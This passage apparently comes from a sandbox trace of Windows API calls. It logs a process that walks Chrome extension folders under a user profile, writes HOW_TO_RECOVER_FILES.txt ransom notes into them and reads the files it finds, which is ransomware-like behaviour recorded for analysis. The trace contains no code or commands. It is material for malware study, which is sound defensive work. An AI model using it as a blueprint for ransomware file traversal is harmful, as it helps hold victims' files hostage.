lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x89c [0268.485] GetFileType (hFile=0x89c) returned 0x1 [0268.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8220) returned 1 [0268.486] GetFileType (hFile=0x89c) returned 0x1 [0268.486] WriteFile (in: hFile=0x89c, lpBuffer=0x3a111f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e8378, lpOverlapped=0x0 | out: lpBuffer=0x3a111f8*, lpNumberOfBytesWritten=0x1f6e8378*=0x5d0, lpOverlapped=0x0) returned 1 [0268.487] CloseHandle (hObject=0x89c) returned 1 [0268.487] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e87c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x88 [0268.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8ce0) returned 1 [0268.487] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x89c [0268.488] GetFileType (hFile=0x89c) returned 0x1 [0268.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8c50) returned 1 [0268.488] GetFileType (hFile=0x89c) returned 0x1 [0268.489] WriteFile (in: hFile=0x89c, lpBuffer=0x3a14b28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e8da8, lpOverlapped=0x0 | out: lpBuffer=0x3a14b28*, lpNumberOfBytesWritten=0x1f6e8da8*=0x5d0, lpOverlapped=0x0) returned 1 [0268.489] CloseHandle (hObject=0x89c) returned 1 [0268.489] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e91f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0268.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9710) returned 1 [0268.489] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x89c [0268.490] GetFileType (hFile=0x89c) returned 0x1 [0268.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9680) returned 1 [0268.490] GetFileType (hFile=0x89c) returned 0x1 [0268.491] WriteFile (in: hFile=0x89c, lpBuffer=0x3a18438*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e97d8, lpOverlapped=0x0 | out: lpBuffer=0x3a18438*, lpNumberOfBytesWritten=0x1f6e97d8*=0x5d0, lpOverlapped=0x0) returned 1 [0268.491] CloseHandle (hObject=0x89c) returned 1 [0268.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e97a0) returned 1 [0268.491] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", nBufferLength=0x105, lpBuffer=0x1f6e9240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpFilePart=0x0) returned 0x69 [0268.491] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x1f6e94c0 | out: lpFindFileData=0x1f6e94c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5270720f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf92b561a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf92b561a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0268.492] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x1f6e9480 | out: lpFindFileData=0x1f6e9480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5270720f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf92b561a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf92b561a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.492] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x1f6e9480 | out: lpFindFileData=0x1f6e9480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x560632d7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc4c7a488, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x56c9d490, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 1 [0268.492] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x1f6e9480 | out: lpFindFileData=0x1f6e9480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x560632d7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc4c7a488, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x56c9d490, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 0 [0268.492] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0268.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e96e0) returned 1 [0268.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e96a0) returned 1 [0268.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e97a0) returned 1 [0268.492] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", nBufferLength=0x105, lpBuffer=0x1f6e9240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpFilePart=0x0) returned 0x69 [0268.493] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x1f6e94c0 | out: lpFindFileData=0x1f6e94c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5270720f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf92b561a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf92b561a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0268.493] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f6e9480 | out: lpFindFileData=0x1f6e9480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5270720f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf92b561a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf92b561a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.493] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f6e9480 | out: lpFindFileData=0x1f6e9480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x560632d7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc4c7a488, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x56c9d490, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 1 [0268.493] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f6e9480 | out: lpFindFileData=0x1f6e9480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0268.493] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0268.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e96e0) returned 1 [0268.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e96a0) returned 1 [0268.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8d70) returned 1 [0268.493] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", nBufferLength=0x105, lpBuffer=0x1f6e8810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", lpFilePart=0x0) returned 0x6f [0268.494] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*", lpFindFileData=0x1f6e8a90 | out: lpFindFileData=0x1f6e8a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x560632d7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc4c7a488, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x56c9d490, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0268.495] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x560632d7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc4c7a488, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x56c9d490, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.495] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x566803c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56c9d490, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c9d490, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xc8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_128.png", cAlternateFileName="")) returned 1 [0268.495] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x566851e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56c9d490, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c9d490, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_16.png", cAlternateFileName="")) returned 1 [0268.495] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5668ee19, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56693a76, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xcfb12a00, ftLastWriteTime.dwHighDateTime=0x1d03fb1, nFileSizeHigh=0x0, nFileSizeLow=0x5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.html", cAlternateFileName="MAIN~1.HTM")) returned 1 [0268.495] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56698a6a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56698896, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xcfb12a00, ftLastWriteTime.dwHighDateTime=0x1d03fb1, nFileSizeHigh=0x0, nFileSizeLow=0x5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js", cAlternateFileName="")) returned 1 [0268.496] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5606810f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x566a4be6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c8ea44, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0268.496] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5608f216, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5667195d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5667195d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1 [0268.496] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x566ac2f1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x566ac2f1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x566ac2f1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1 [0268.496] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x566ac2f1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x566ac2f1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x566ac2f1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0 [0268.496] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0268.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8cb0) returned 1 [0268.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8c70) returned 1 [0268.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8d70) returned 1 [0268.496] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", nBufferLength=0x105, lpBuffer=0x1f6e8810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", lpFilePart=0x0) returned 0x6f [0268.496] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*", lpFindFileData=0x1f6e8a90 | out: lpFindFileData=0x1f6e8a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x560632d7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc4c7a488, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x56c9d490, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0268.497] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x560632d7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc4c7a488, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x56c9d490, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.497] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x566803c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56c9d490, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c9d490, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xc8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_128.png", cAlternateFileName="")) returned 1 [0268.497] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x566851e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56c9d490, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c9d490, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_16.png", cAlternateFileName="")) returned 1 [0268.497] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5668ee19, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56693a76, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xcfb12a00, ftLastWriteTime.dwHighDateTime=0x1d03fb1, nFileSizeHigh=0x0, nFileSizeLow=0x5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.html", cAlternateFileName="MAIN~1.HTM")) returned 1 [0268.497] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56698a6a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56698896, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xcfb12a00, ftLastWriteTime.dwHighDateTime=0x1d03fb1, nFileSizeHigh=0x0, nFileSizeLow=0x5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js", cAlternateFileName="")) returned 1 [0268.497] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5606810f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x566a4be6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c8ea44, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0268.498] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5608f216, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5667195d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5667195d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1 [0268.498] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x566ac2f1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x566ac2f1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x566ac2f1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1 [0268.498] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0268.498] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0268.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8cb0) returned 1 [0268.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8c70) returned 1 [0268.498] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png", lpFilePart=0x0) returned 0x7c [0268.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8b20) returned 1 [0268.498] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), fInfoLevelId=0x0, lpFileInformation=0x3a38cd0 | out: lpFileInformation=0x3a38cd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x566803c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56c9d490, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56c9d490, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xc8d)) returned 1 [0268.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8ae0) returned 1 [0268.499] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png", lpFilePart=0x0) returned 0x7c [0268.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0268.499] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0268.499] GetFileType (hFile=0x89c) returned 0x1 [0268.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0268.499] GetFileType (hFile=0x89c) returned 0x1 [0268.499] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x1f6e8b78 | out: lpFileSizeHigh=0x1f6e8b78*=0x0) returned 0xc8d [0268.499] ReadFile (in: hFile=0x89c, lpBuffer=0x3a39ce8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e8aa8, lpOverlapped=0x0 | out: lpBuffer=0x3a39ce8*, lpNumberOfBytesRead=0x1f6e8aa8*=0xc8d, lpOverlapped=0x0) returned 1 [0268.500] CloseHandle (hObject=0x89c) returned 1 [0270.170] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: 